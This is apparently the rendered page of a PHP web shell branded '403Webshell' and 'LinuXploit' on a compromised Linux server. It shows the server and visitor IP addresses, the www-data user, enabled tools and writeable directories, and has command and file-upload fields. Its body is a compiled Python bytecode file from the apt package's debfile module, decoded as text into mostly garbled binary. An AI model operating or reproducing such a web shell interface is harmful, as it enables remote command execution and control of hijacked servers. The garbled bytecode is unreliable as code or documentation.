403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/apt/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/apt/__pycache__/debfile.cpython-314.pyc
+
�n�g������Rt^RIt^RIt^RIt^RIHt^RIHt^RIH	t	^RI
t
^RIt^RIHt
^RIt!RR]4t!RR	4t!R
R]4tRR
lt]R8Xd
]!4R#R#)z;Classes for working with locally available Debian packages.N)�Iterable)�BytesIO)�cast)�gettextc��]tRt^#tRtRtR#)�NoDebArchiveExceptionz9Exception which is raised if a file is no Debian archive.�N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�__static_attributes__r��-/usr/lib/python3/dist-packages/apt/debfile.pyrr#s��Crrc��a�]tRt^'toRt]!^4wtttt	^t
RBV3RlRlltV3RlRltV3RlRlt
V3R	lR
lt]V3RlRl4t]V3R
lRl4tRCV3RlRlltV3RlRltV3RlRltV3RlRltV3RlRlt]V3RlRl4t]V3RlRl4t]V3RlRl4t]V3RlR l4tV3R!lR"ltV3R#lR$ltV3R%lR&ltRDV3R'lR(lltRCV3R)lR*lltV3R+lR,lt V3R-lR.lt!]V3R/lR0l4t"]V3R1lR2l4t#]$V3R3lR4l4t%]$V3R5lR6l4t&REV3R7lR8llt'V3R9lR:lt(V3R;lR<lt)V3R=lR>lt*RFV3R?lR@llt+RAt,Vt-R#)G�
DebPackagezA Debian Package (.deb file).Nc�Z<�V^8�dQhRS[R,RS[PR,RR/#���filenameN�cache�return��str�apt�Cache)�format�
__classdict__s"�r�__annotate__�DebPackage.__annotate__0s2��� � ��d�
� �25�)�)�d�2B� �	
� rc��Vf\P!4pW n\\P
R4VnRVnRVn/Vn	.Vn
RVnRVnRVn
V'dVPV4R#R#)N�F)rr�_cacher�apt_inst�DebFile�_debfile�pkgnamer�	_sections�
_need_pkgs�_check_was_run�_failure_string�
_multiarch�open��selfrrs&&&r�__init__�DebPackage.__init__0st���=��I�I�K�E����X�-�-�t�4��
����$(��
�CE���%'���#���!���&*�����I�I�h��rc�$<�V^8�dQhRS[RR/#)rrrN�r)rrs"�rrr As���$�$�S�$�T�$rc��VP^RV,4.Vn\4VnRVnWn\P!VP
4VnVPPPR4p\P!V4Vn
VPR,VnRVnR#)zopen given debfilez	open '%s'r"�control�PackageFN)�_dbgr)�set�_installed_conflictsr+rr$r%r&r5�extractdata�apt_pkg�
TagSectionr(r'r*)r/rr5s&& rr-�DebPackage.openAs����	�	�!�[�8�+�,����.1�e��!�!��� �
� �(�(����7��
��-�-�'�'�3�3�I�>�� �+�+�G�4����~�~�i�0���#��rc�&<�V^8�dQhRS[RS[/#�r�keyrr3)rrs"�rrr Ns���#�#�s�#�s�#rc�(�VPV,#�N�r(�r/r@s&&r�__getitem__�DebPackage.__getitem__Ns���~�~�c�"�"rc�&<�V^8�dQhRS[RS[/#r?�r�bool)rrs"�rrr Qs���%�%��%��%rc��WP9#rBrCrDs&&r�__contains__�DebPackage.__contains__Qs���n�n�$�$rc�0<�V^8�dQhRS[S[,/#�rr��listr)rrs"�rrr Us�����$�s�)�rc�a�.oVPPPV3Rl4S# \d!\	R4TP
,.u#i;i)z$return the list of files in the deb.c�:<�SPVP4#rB��append�name)�item�data�filess&&�r�<lambda>�%DebPackage.filelist.<locals>.<lambda>Ys���U�\�\�$�)�)�5Lrz(List of files for '%s' could not be read)r&rW�go�SystemError�_r)r/rXs&@r�filelist�DebPackage.filelistTs[�����	S��M�M���!�!�"L�M�����	S��@�A�D�M�M�Q�R�R�	S�s�)0�(A�Ac�0<�V^8�dQhRS[S[,/#rNrO)rrs"�rrr _s���	�	�$�s�)�	rc��a�.oVPPPV3Rl4\
S4# \d!\	R4TP
,.u#i;i)z*return the list of files in control.tar.gzc�:<�SPVP4#rBrS)rVrWr5s&&�rrY�-DebPackage.control_filelist.<locals>.<lambda>cs������t�y�y�8Qrz0List of control files for '%s' could not be read)r&r5r[r\r]r�sorted)r/r5s&@r�control_filelist�DebPackage.control_filelist^sa�����	��M�M�!�!�$�$�%Q�R�
�g����	�	��D�E��
�
�U��
�	�s�)9�(A$�#A$c�,<�V^8�dQhRS[RS[RS[/#)rr'�in_conflict_checkingrrH)rrs"�rrr ks%���$!�$!��$!�26�$!�	�$!rc���RV9dV#VP'gV#VPPV4'dV#WP9dpVPV,PeQ\	\
PPVPV,P4PR8XdV#VRVP2pW0P9dV#VPV,pVPfV#VPPpVPVP,'dV#V'd&VPVP,'gV#V#)�:�all)
r,r#�is_virtual_package�	candidaterr�package�Version�architecture�_cand�
multi_arch�MULTI_ARCH_FOREIGN�MULTI_ARCH_SAME)r/r'rh�multiarch_pkgname�
multiarch_pkg�cands&&&   r�_maybe_append_multiarch_suffix�)DebPackage._maybe_append_multiarch_suffixks'���'�>��N������N�
�[�[�
+�
+�G�
4�
4��N��{�{�"����G�$�.�.�:��S�[�[�(�(�$�+�+�g�*>�*H�*H�I�V�V����N�&�i�q����(9�:���K�K�/�$�$����$5�6�
��"�"�*�$�$��&�&�,�,���?�?�T�4�4�4�4��N� ����4�;O�;O�)O�)O��N� � rc�P<�V^8�dQhRS[S[S[S[S[3,,RS[/#�r�or_groupr�rP�tuplerrI)rrs"�rrr �s+���/�/�t�E�#�s�C�-�4H�/I�/�d�/rc
��VP^RV,4VEFipV^,pV^,pV^,pVPV4pW0P9duVPPV4'dRVP^RV,4VPP	V4FpVP
'gKR#	K�VPV,PpVe+\P!VPWT4'dR#V'dEK
VPP	VRR7F>pVP
'gKVP^RVP:RV:R24R#	EKl	R#)	z�Return True if at least one dependency of the or-group is satisfied.

This method gets an 'or_group' and analyzes if at least one dependency
of this group is already satisfied.
z_checkOrGroup(): %s z+_is_or_group_satisfied(): %s is virtual depT)�include_nonvirtualzfound installed 'z' that provides '�'F)r7rxr#rl�get_providing_packages�is_installed�	installedr;�	check_dep�versionrU)	r/r|�dep�depname�ver�oper�pkg�inst�ppkgs	&&       r�_is_or_group_satisfied�!DebPackage._is_or_group_satisfied�sJ��	
�	�	�!�+�x�8�9��C��!�f�G��a�&�C��q�6�D��9�9�'�B�G��k�k�)��;�;�1�1�'�:�:��I�I��H�7�R�� $�{�{�A�A�'�J���+�+�+�#'� K���;�;�w�'�1�1�D���G�$5�$5�d�l�l�D�$N�$N���4� �K�K�>�>���?��D��(�(�(��	�	��#�y�y�'�3��
 $��;�Nrc�P<�V^8�dQhRS[S[S[S[S[3,,RS[/#r{r})rrs"�rrr �s+���*�*�$�u�S�#�s�]�/C�*D�*��*rc��VEF7pVwr4pVPV4pW0P9ddVPPV4'gKMVPPV4p\	V4^8wdKzV^,P
pVPV,pVPPPVP4pV'gK�\P!VPWT4'gEKVP^RV,4VPPV4R#	Rp	VFhpW�^,,
p	X'd'X'dV	RV^,RV^,R2,
p	W!\	V4^,
,8wgK_V	R,
p	Kj	V;P\!R4V	,,
unR	#)
zTry to satisfy the or_group.zNeed to get: %sTr"z (� �)�|z"Dependency is not satisfiable: %s
F)rxr#rlr��lenrU�	_depcache�get_candidate_ver�_pkgr;r��ver_strr7r)rTr+r])
r/r|r�r�r�r��	providersr�rw�or_strs
&&        r�_satisfy_or_group�DebPackage._satisfy_or_group�s{���C�!$��G�$��9�9�'�B�G��k�k�)��{�{�5�5�g�>�>�� �K�K�>�>�w�G�	��y�>�Q�&��#�A�,�+�+���+�+�g�&�C��;�;�(�(�:�:�3�8�8�D�D����$�$�T�\�\�4�=�=��
�I�I�a�*�W�4�5��O�O�"�"�7�+��;�@���C��!�f��F��t��B�s�1�v�h�a��A��x�q�1�1���s�8�}�q�0�1�1��#�
���	
����"G� H�6� Q�Q��rc�2<�V^8�dQhRS[RS[RS[RS[/#)rr'r�r�rrH)rrs"�rrr �s)�����#��C��s��t�rc
�l�VP^RV:RV:RV:R24VPV,pVP'd(VPfQhVPPpM;VP
'd(VPfQhVPPpMR#\P!WSV4'dqVPWV4'gYV;P\R4VP,,
un
VP^RVP,4R#R#)	z@Return True if a pkg conflicts with a real installed/marked pkg.z"_check_single_pkg_conflict() pkg='z' ver='z' oper='r�Fz)Conflicts with the installed package '%s'z!conflicts with installed pkg '%s'T)
r7r#r�r�r��marked_installrmr;r��replaces_real_pkgr+r]rU)r/r'r�r�r��pkgvers&&&&  r�_check_single_pkg_conflict�%DebPackage._check_single_pkg_conflict�s���	
�	�	�
���T�
#�	
�
�k�k�'�"�������=�=�,�,�,��]�]�*�*�F�
�
�
�
��=�=�,�,�,��]�]�*�*�F��
���V�3�/�/��8N�8N��3�9
�9
�
� � ��@�A�C�H�H�L�
� �
�I�I�a�<�s�x�x�G�H��rc�P<�V^8�dQhRS[S[S[S[S[3,,RS[/#r{r})rrs"�rrr s,���/�/�$�u�S�#�s�]�7K�2L�/�QU�/rc��VP^RV,4VEFYpV^,pV^,pV^,pVPVRR7pW0P9d�VPPV4'd�VPP	V4F�pVP^RVP
,4VPVP
8XdVP^R4KUVPVP
WE4'gKyVPPVP
4K�	EK#VPW4V4'gEK>VPPV4EK\	\VP4#)z5Check the or-group for conflicts with installed pkgs.z _check_conflicts_or_group(): %s T)rhzconflicts virtual check: %szconflict on self, ignoring)r7rxr#rlr�rUr'r�r9�addrI)r/r|r�r�r�r�r�s&&     r�_check_conflicts_or_group�$DebPackage._check_conflicts_or_groups<���	�	�!�7�8�D�E��C��!�f�G��a�&�C��q�6�D��9�9��d�:��G�
�k�k�)��;�;�1�1�'�:�:�#�{�{�A�A�'�J���	�	�!�%B�S�X�X�%M�N��<�<�3�8�8�3� �I�I�a�)E�F�$��:�:�3�8�8�S�O�O� �5�5�9�9�#�(�(�C� K���.�.�w�T�B�B��)�)�-�-�g�6�5�6�D�-�-�.�.rc�Z<�V^8�dQhRS[S[S[S[S[S[3,,,/#rN�rPr~r)rrs"�rrr /s)�����4��U�3��S�=�%9� :�;�rc�~�Rp\P!VPV,R4# \d.u#i;i)z/List of packages conflicting with this package.�	ConflictsF�r;�
parse_dependsr(�KeyErrorrDs& r�	conflicts�DebPackage.conflicts.s>����	��(�(�����)<�e�D�D���	��I�	���',�
<�<c�Z<�V^8�dQhRS[S[S[S[S[S[3,,,/#rNr�)rrs"�rrr 8s)���	�	��d�5��c�3��#7�8�9�	rc��.pRF;pVP\P!VPV,R44K=	V# \dKOi;i)z2List of packages on which this package depends on.F)�DependszPre-Depends)�extendr;r�r(r�)r/�dependsr@s&  rr��DebPackage.depends7sU����+�C�
����w�4�4�T�^�^�C�5H�%�P�Q�,�
����
��
�s�7A�A�Ac�Z<�V^8�dQhRS[S[S[S[S[S[3,,,/#rNr�)rrs"�rrr D�)�����$�t�E�#�s�C�-�$8�9�:�rc�~�Rp\P!VPV,R4# \d.u#i;i)z<List of virtual packages which are provided by this package.�ProvidesFr�rDs& r�provides�DebPackage.providesC�>����	��(�(�����)<�e�D�D���	��I�	�r�c�Z<�V^8�dQhRS[S[S[S[S[S[3,,,/#rNr�)rrs"�rrr Mr�rc�~�Rp\P!VPV,R4# \d.u#i;i)z4List of packages which are replaced by this package.�ReplacesFr�rDs& r�replaces�DebPackage.replacesLr�r�c�2<�V^8�dQhRS[RS[RS[RS[/#)rr'r�r�rrH)rrs"�rrr Us)�������C��c��d�rc	��VP^RVRVRV24VPV,pRpVP'd(VPfQhVPPpM;VP
'd(VPfQhVPPpMRpVPFUpVFLwrspWq8XgKVe \P!WRV4'gK1VP^RV,4R#	KW	R#)z�Return True if a given non-virtual package is replaced.

Return True if the deb packages replaces a real (not virtual)
packages named (pkgname, oper, ver).
zreplaces_real_pkg() r�Nz?we have a replaces in our package for the conflict against '%s'TF)
r7r#r�r�r�r�rmr�r;r�)r/r'r�r�r�r�r|rUs&&&&    rr��DebPackage.replaces_real_pkgUs���	
�	�	�!�+�G�9�A�d�V�1�S�E�B�C��k�k�'�"��!�������=�=�,�,�,��]�]�*�*�F�
�
�
�
��=�=�,�,�,��]�]�*�*�F��F��
�
�H�#+���4��?��N�g�&7�&7��c�&J�&J��I�I��0�3:�<��
 �$,�&�rc� <�V^8�dQhRS[/#rN�rI)rrs"�rrr ss������rc�f�RpVPFpVPV4'gKRpK 	V#)z�Check if there are conflicts with existing or selected packages.

Check if the package conflicts with a existing or to be installed
package. Return True if the pkg is OK.
TF)r�r�)r/�resr|s&  r�check_conflicts�DebPackage.check_conflictsss6�������H��-�-�h�7�7���	'�
�
rc� <�V^8�dQhRS[/#rNr�)rrs"�rrr �s���^�^��^rc�t	�\\VP44p\\	V^2,4^4pVP
R,pVP
R,pVPUu.uFqU^,^,NK	pp\VP4EF�wrxWr,^8Xd=VPPP\V4V,R,4VP'gKcVPfQhVPPp	VPPEF
p
V
PF�pVP VP"8XgK \$P&!W;P(VP*4'dKSVP-^RVP ,4V;P.\1R4RVP RVP RVP(R	VP*/,,
unVPPP34R
#	EK
	RV	P49gEK�V	P4R,EFpVEFp
V
P6P VP"8Xd�V
P6P8V8Xd�\$P&!W=P:V
P<4'd�VP-^RVP ,4V;P.\1R
4RVP RV
P6P RV
P:RV
P</,,
unVPPP34R
#V
P6P V9gEKBVP"VP 8wgEK`VP-^RV,4V;P.\1R4RRP?V4RVP@RV
P6P RVP /,,
unVPPP34R
#	EK	EK�	VPPP34R#uupi)z�
check if installing the package would break exsisting
package on the system, e.g. system has:
smc depends on smc-data (= 1.4)
and user tries to installs smc-data 1.6
ro�ArchitecturegY@zwould break (depends) %sz]Breaks existing package '%(pkgname)s' dependency %(depname)s (%(deprelation)s %(depversion)s)r'r��deprelation�
depversionFr�zwould break (conflicts) %szZBreaks existing package '%(pkgname)s' conflict: %(targetpkg)s (%(comptype)s %(targetver)s)�	targetpkg�comptype�	targetverz{Breaks existing package '%(pkgname)s' that conflict: '%(targetpkg)s'. But the '%(debfile)s' provides it via: '%(provides)s'r��,�debfileT)!�floatr�r#�max�intr(r��	enumerate�op_progress�updater�r�r��current_ver�dependencies�or_dependenciesrUr'r;r��relationr�r7r+r]�done�depends_list�
target_pkgrp�	comp_type�
target_ver�joinr)r/�size�steps�debver�debarch�xr��ir�r��dep_orr��conflicts_ver_list�c_ors&             r�check_breaks_existing_packages�)DebPackage.check_breaks_existing_packages�s����S����%�&���C��r�	�N�A�&�����	�*���.�.��0��%)�]�]�3�]��a�D��G�G�]��3�����,�F�A��y�A�~����'�'�.�.�u�Q�x�$���/F�G��#�#�#���=�=�,�,�,��(�(�&�&�C��-�-�4�4��!�1�1�C��x�x�4�<�<�/�&�0�0����s�{�{�S�S� �I�I�a�)C�c�h�h�)N�O�
!�0�0�A�!C�5�
!*�3�8�8� )�3�8�8� -�s�|�|� ,�c�k�k�	!�		5�	�0�!�K�K�3�3�8�8�:�#(�'2�5�.�c�.�.�.�*-�*:�*:�;�*G�*G�&� 2�� �O�O�0�0�D�L�L�@� $��� <� <�� G�&�0�0� &������ � �!%�	�	�!�-I�C�H�H�-T� U�!%� 4� 4��%C�9"�
%.�s�x�x�$/����1E�1E�$.����$/����	%"�		9"�	!"� 4�!%��� 7� 7� <� <� >�',� �O�O�0�0�H�<� $������ 8� �I�I�a�)E��)P�Q� �0�0�A�!1�5�!+�C�H�H�X�,>� )�4�=�=� +�T�_�_�-A�-A� )�3�8�8�	!�
5�
�0�!�K�K�3�3�8�8�:�#(�Y!3�+H�C-�^	
�����$�$�&���c4s�/R5c�&<�V^8�dQhRS[RS[/#)r�
use_installedr)rIr�)rrs"�rrr �s���!!�!!��!!��!!rc���VP^R4VPR,pVPR,pRPW#.4pVPR,pVP^RV,4W P9d�VPV,pV'd&VPeVPP
pM9V'g&VPeVPP
pMVP#Vei\P!Wd4pVP^RV,4V^8Xd
VP#V^8d
VP#V^8�d
VP#VP#)z�Compare the package to the version available in the cache.

Checks if the package is already installed or availabe in the cache
and if so in what version, returns one of (VERSION_NONE,
VERSION_OUTDATED, VERSION_SAME, VERSION_NEWER).
�compare_to_version_in_cacher6r�rjroz
debver: %sz"CompareVersion(debver,instver): %s)
r7r(r�r#r�r�rm�VERSION_NONEr;�version_compare�VERSION_SAME�
VERSION_NEWER�VERSION_OUTDATED)r/r�r'rpr�r��cachever�cmps&&      rr��&DebPackage.compare_to_version_in_cache�s,��	
�	�	�!�2�3��.�.��+���~�~�n�5���(�(�G�2�3�����	�*���	�	�!�\�F�*�+��k�k�!��+�+�g�&�C�����!:��=�=�0�0��"�s�}�}�'@��=�=�0�0���(�(�(��#��-�-�h�?���	�	�!�A�C�G�H��!�8��,�,�,��1�W��-�-�-��1�W��0�0�0�� � � rc�&<�V^8�dQhRS[RS[/#�r�allow_downgraderr�)rrs"�rrr s���C�C�T�C�d�Crc�z�VP^R4RVnRVP9d%VP^R4\R4VnR#VPR,pVR8wd�V\
PPR48wd�V\
P!49dAW n	VPR	VP2Vn
VP^R
V,4M+VP^R4\R4V,VnR#V'g_VP4VP8Xd@VPVP,P'd\R
4VnR#RVnVP4'gR#VP!4'gR#VP#VP$4'gR#VP4'gR#VPP&P(^8�d-\R4VnVPP+4R#R#)z$Check if the package is installable.�checkTr�zERROR: no architecture fieldz$No Architecture field in the packageFrkzAPT::ArchitecturerjzFound multiarch arch: '%s'zERROR: Wrong architecture dude!zVWrong architecture '%s' -- Run dpkg --add-architecture to add it and update afterwardsz$A later version is already installedr"z1Failed to satisfy all dependencies (broken cache))r7r*r(r]r+r;�config�find�get_architecturesr,r'r�r�r#r�r�r��_satisfy_dependsr�r��broken_count�clear)r/r�archs&& rr�DebPackage.checks����	�	�!�W��"�������/��I�I�a�7�8�#$�%K�#L�D� ���~�~�n�-���5�=�T�W�^�^�%8�%8�9L�%M�M��w�0�0�2�2�"&��"&�,�,��q����0A�B����	�	�!�9�D�@�A��	�	�!�>�?��7��
���$�� ��0�0�2�d�6K�6K�K��{�{�4�<�<�(�2�2�2�'(�)O�'P��$�� "����#�#�%�%���2�2�4�4���$�$�T�\�\�2�2���#�#�%�%���;�;� � �-�-��1�#$�F�$�D� �
�K�K�����rc�&<�V^8�dQhRS[RS[/#)r�
dependsstrrrH)rrs"�rrr Is���O�O�c�O�d�Orc�N�VP\P!VR44#)z-Satisfy the dependencies in the given string.F)rr;r�)r/rs&&r�satisfy_depends_str�DebPackage.satisfy_depends_strIs ���$�$�W�%:�%:�:�u�%M�N�Nrc�`<�V^8�dQhRS[S[S[S[S[S[3,,,RS[/#)rr�rr})rrs"�rrr Ms0������T�%��S�#�
�2F�-G�(H��T�rc���\P!VPP4pVVF6pVPV4'dKVP
V4'dK5R#	VPF'pVPV,PRR7K)	R# \dL�i;i \d7\R4T,TnTPP4R#i;i)zSatisfy the dependencies.F)�	from_userzCannot install '%s'T)
r;�ActionGroupr#r��AttributeErrorr�r�r)�mark_installr\r]r+r
)r/r��_actiongroupr|r�s&&   rr�DebPackage._satisfy_dependsMs���	�"�.�.�t�{�{�/D�/D�E�L�� �H��.�.�x�8�8��-�-�h�7�7� � �
�?�?�C�
����C� �-�-��-�>�#����	��	���
�'(�)>�'?�#�'E��$����!�!�#��
�s#�,B#�:#B4�#B1�0B1�4<C5�4C5c�0<�V^8�dQhRS[S[,/#rNrO)rrs"�rrr es�����d�3�i�rc��VP^RVP,4VP'g\R4hVP#)zReturn missing dependencies.zInstalling: %s�-property only available after check() was run)r7r)r*r�r/s&r�missing_deps�DebPackage.missing_depsds>��	
�	�	�!�%����7�8��"�"�"� �!P�Q�Q����rc�j<�V^8�dQhRS[S[S[,S[S[,S[S[,3,/#rN)r~rPr)rrs"�rrr ms,���2�2�%��S�	�4��9�d�3�i�(G�"H�2rc��.p.p.pVP'g\R4hVPF�pVP'gVP'd�VP
fQhVP
VP4RpVP
PFpWVP,pK	V'gVP
VP4VP'gK�VP
VP4K�	WV3#)zpGet the changes required to satisfy the dependencies.

Returns: a tuple with (install, remove, unauthenticated)
rF)r*rr#r��marked_upgradermrTrU�origins�trusted�
marked_delete)r/�install�remove�unauthenticatedr��
authenticated�origins&      r�required_changes�DebPackage.required_changesls����������"�"�"� �!P�Q�Q��;�;�C��!�!�!�S�%7�%7�%7��}�}�0�0�0����s�x�x�(�!&�
�!�m�m�3�3�F�!�^�^�3�M�4�$�#�*�*�3�8�8�4�� � � ��
�
�c�h�h�'����1�1rc�&<�V^8�dQhRS[RS[/#�r�in_datarr3)rrs"�rrr �s��������rc��Rp\V4F5wr#V^P,^8Xd
VR,
pVR\V4,,
pK7	V#)r"�
z%2.2x )r��ord)r/�hexr��cs&   r�to_hex�DebPackage.to_hex�sF�����g�&�D�A��2�v��{��t����8�c�!�f�$�$�C�'��
rc�F<�V^8�dQhRS[S[S[,,RS[/#r.)rrr�)rrs"�rrr �s$�����3��#��.��3�rc��Rp\V\4'd?VF6p\V4^
8g\V4^8�dVR,
pK.W,
pK8	V#VF.pV^
8gV^8�dVR,
pKV\V4,
pK0	V#)r"r�)�
isinstancerr2�chr)r/�sr4�bs&   r�	to_strish�DebPackage.to_strish�s������g�s�#�#����q�6�B�;�#�a�&�3�,���H�A��F�A�	������r�6�Q��W���H�A���Q��K�A�	�
�rc
�L<�V^8�dQhRS[PRS[RS[RS[RS[/#)r�partrU�auto_decompress�auto_hexr)r$�TarFilerrI)rrs"�rrr �sC������������	�
��

�
rc���VPR4'd
VR,pVPV4pVPR4'd[V'dS\V4p\P
!VR7p\
R4PR4pWWP4,
pVPR4# \d(\
R4pY�PT4,
pTu#i;i)z./:rNNz.gz)�fileobjzAutomatically decompressed:

zutf-8z,Automatically converted to printable ascii:
)�
startswithr:�endswithr�gzip�GzipFiler]�encode�read�decode�	Exceptionr=)	r/r@rUrArBrW�io�gz�new_datas	&&&&&    r�_get_content�DebPackage._get_content�s����?�?�4� � ���8�D�����%���=�=����O����B����r�*�B��6�7�>�>�w�G�D��G�G�I��D�	��;�;�w�'�'���	��H�I�H����t�,�,�H��O�	�s�$B5�5/C'�&C'c�&<�V^8�dQhRS[RS[/#�rrUrr3)rrs"�rrr �s�����C��C�rc�t�VPVPPV4# \dR#i;i�z4return the content of a specific control.tar.gz filer")rQr&r5�LookupError�r/rUs&&r�control_content�DebPackage.control_content�s6��	��$�$�T�]�]�%:�%:�D�A�A���	��	���%(�7�7c�&<�V^8�dQhRS[RS[/#rTr3)rrs"�rrr �s��������rc�t�VPVPPV4# \dR#i;irV)rQr&rWrWrXs&&r�data_content�DebPackage.data_content�s6��	��$�$�T�]�]�%7�%7��>�>���	��	�r[c�*<�V^8�dQhRS[RS[RR/#)r�level�msgrN)r�r)rrs"�rrr �s"���(�(�#�(�C�(�D�(rc�`�WP8:d\V\PR7R#R#)z%Write debugging output to sys.stderr.)�fileN)�debug�print�sys�stderr)r/rarbs&&&rr7�DebPackage._dbg�s���J�J���#�C�J�J�'�rc�p<�V^8�dQhRS[PPPR,RS[/#)r�install_progressNr)r�progress�base�InstallProgressr�)rrs"�rrr �s2����� #��� 1� 1� A� A�D� H��	�rc��VPf\P!R4hVf3\P!\P
RRRVP4#VP
4VPVP4pVP4V# \dTP4LKi;i \dTP4T#i;i)zInstall the package.zNo filename specified�dpkgz-i)rr;�Error�os�spawnlp�P_WAIT�start_updater�startUpdate�run�
finish_update�finishUpdate)r/rkr�s&& rr&�DebPackage.install�s����=�=� ��-�-� 7�8�8��#��:�:�b�i�i����t�}�}�M�M�
/� �-�-�/�#�&�&�t�}�}�5�C�
0� �.�.�0��J��"�
/� �,�,�.�
/��
"�
0� �-�-�/��J�
0�s$�B�B;�B8�7B8�;C�C)
r#r*r&r+r9r,r)r(rr'�NN�F)T)TTrB).r	r
rrr
�ranger�r�r�r�rer0r-rErK�propertyr^rerxr�r�r�r�r�r�r�r�r�r�r�r�rrrrr+�staticmethodr5r=rQrYr^r7r&r�__classdictcell__�rs@rrr's�����'�EJ�!�H�A�\�#�\�=�
�E� � �"$�$�#�#�%�%������	��	�$!�$!�L/�/�b*�*�X��@/�/�@�����	��	�����������<��^�^�@!!�!!�FC�C�JO�O���.�����2��2�2��������$��0����(�(�
��rrc�a�]tRtRtoRtRV3RlRllt]V3RlRl4t]V3RlR	l4t]V3R
lRl4t	V3RlR
lt
RV3RlRlltRtVt
R#)�
DscSrcPackagei�z#A locally available source package.Nc�Z<�V^8�dQhRS[R,RS[PR,RR/#rr)rrs"�rr�DscSrcPackage.__annotate__�s2���%�%��d�
�%�25�)�)�d�2B�%�	
�%rc��\PVRV4Wn.Vn.Vn\4VnRVn.Vn/Vn	VPeVPVP4R#R#)Nr")rr0r�_depends�
_conflictsr8r9r'�binariesr(r-r.s&&&rr0�DscSrcPackage.__init__�sg��	���D�$��.�$,�
�:<��
�<>���.1�e��!����#%��
�)+����=�=�$��I�I�d�m�m�$�%rc�Z<�V^8�dQhRS[S[S[S[S[S[3,,,/#rNr�)rrs"�rrr��s)������d�5��c�3��#7�8�9�rc��VP#�z&Return the dependencies of the package)r�rs&rr��DscSrcPackage.depends�s���}�}�rc�Z<�V^8�dQhRS[S[S[S[S[S[3,,,/#rNr�)rrs"�rrr��s)�����4��U�3��S�=�%9� :�;�rc��VP#r�)r�rs&rr��DscSrcPackage.conflicts�s�����rc�0<�V^8�dQhRS[S[,/#rNrO)rrs"�rrr��s���5�5�$�s�)�5rc�R�VPR,P4R,#)z6Return the list of files associated with this dsc file�Files:rN�)r(�splitrs&rr^�DscSrcPackage.filelist�s!���~�~�g�&�,�,�.�t�4�4rc�$<�V^8�dQhRS[RR/#)rrdrNr3)rrs"�rrr�s��� $� $�� $�� $rc���RR.pRR.p\P!V4p\P!V4p\P!V4pVEFpVF@pW�9dKVP
P
\P!Wx,44KB	VF@pW�9dKVPP
\P!Wx,44KB	RV9dVR,Vn	RV9d;VR,PR4U	u.uFq�P4NK	up	VnVP4F pW�9gKWx,VPV&K"	EK	?VP4\!R4VPR	P#VP43,p
W�PR
&RVnR#uup	i ?TP4i;i)
zOpen the package.z
Build-DependszBuild-Depends-IndepzBuild-ConflictszBuild-Conflicts-Indep�Source�Binaryr�zBInstall Build-Dependencies for source package '%s' that builds %s
r��DescriptionFN)r;�open_maybe_clear_signed_filerr�fdopen�TagFiler�r��parse_src_dependsr�r'r��stripr��keysr(�closer]r�r*)r/rd�depends_tags�conflicts_tags�fd�fobj�tagfile�sec�tagr<r;s&&         rr-�DscSrcPackage.opens���'�)>�?��+�-D�E��
�
1�
1�$�
7���y�y��}���/�/�$�'��	���'�C��~� ��M�M�(�(��)B�)B�3�8�)L�M�(�*�C��~� ��O�O�*�*�7�+D�+D�S�X�+N�O�*��s�?�#&�x�=�D�L��s�?�8;�H�
�8K�8K�C�8P�$Q�8P�1�W�W�Y�8P�$Q�D�M��8�8�:�C��z�.1�h����s�+�&��"��J�J�L�
�T�
�
�\�\�3�8�8�D�M�M�2�3�
4��)*���}�%�#����%R��
��J�J�L�s%�CG�G�,G�G�G�G$c�&<�V^8�dQhRS[RS[/#rr�)rrs"�rrr�%s���3�3�T�3�d�3rc�\�VP4'gvVPFepVPV,PP'd\\
R44hVPV,P4Kg	RVnVPVP4#)zyCheck if the package is installable.

The second parameter is ignored and only exists for compatibility
with parent type.z%An essential package would be removedT)r�r9r#r��	essentialrMr]�mark_deleter*rr�)r/rr's&& rr�DscSrcPackage.check%s���
�#�#�%�%��4�4���;�;�w�'�,�,�6�6�6�#�A�&M�$N�O�O����G�$�0�0�2�5�
#����$�$�T�\�\�2�2r)r*r�r�r9r(r�rr'r{r|)r	r
rrr
r0r~r�r�r^r-rrr�r�s@rr�r��sh����-�%�%����������5��5�
 $� $�D3�3�3rr�c��V^8�dQhRR/#)rrNr)rs"rrr6s��#@�#@�t�#@rc�B�^RIHp^RIHpV!4pRp\	VRVPV424VP
V4p\	RV,4VFp\	RVP,4K!	\\P^,V4p\	RVP,4VP4'g!\	R4\	VP4\	R	VP,4\	VP4\	VP 4\	R
4VP#V!44p\	V4\%VR7pRp	\	VP'\(P*!V	R
444R#)z
Test function)r)rnzwww-browserz
 virtual: zProviders for %s :z %szDeb: %szcan't be satifiedzmissing deps: %szInstalling ...)rz:libc6 (>= 2.3.2), libaio (>= 0.3.96) | libaio1 (>= 0.3.96)FN)�	apt.cacher�apt.progress.basernrfrlr�rUrrg�argvr'rr+rr+r^r&r�rr;r�)
rrnr�vpr�r��d�retr;�dss
          r�_testr�6s3���1��G�E�	�B�	�R�D�
�5�3�3�B�7�8�
9�:��,�,�R�0�I�	�
��
#�$���
�e�c�h�h����	�3�8�8�A�;��&�A�	�)�a�i�i�
� ��7�7�9�9�
�!�"�
�a��� �	�
�q�~�~�
-�.�	�!�
�
��	�!�*�*��	�
��
�)�)�O�%�
&�C�	�#�J�	�E�"�A�	E�B�	�!�
�
�W�2�2�2�u�=�
>�?r�__main__)r
rHrrrg�collections.abcrrNr�typingrr$r;rr]r�IOErrorrrr�r�r	rrr�<module>r�sn��&B��	�
�$����� �
�D�G�D�x
�x
�vQ3�J�Q3�h#@�L�z��	�G�r

Youez - 2016 - github.com/yon3zu
LinuXploit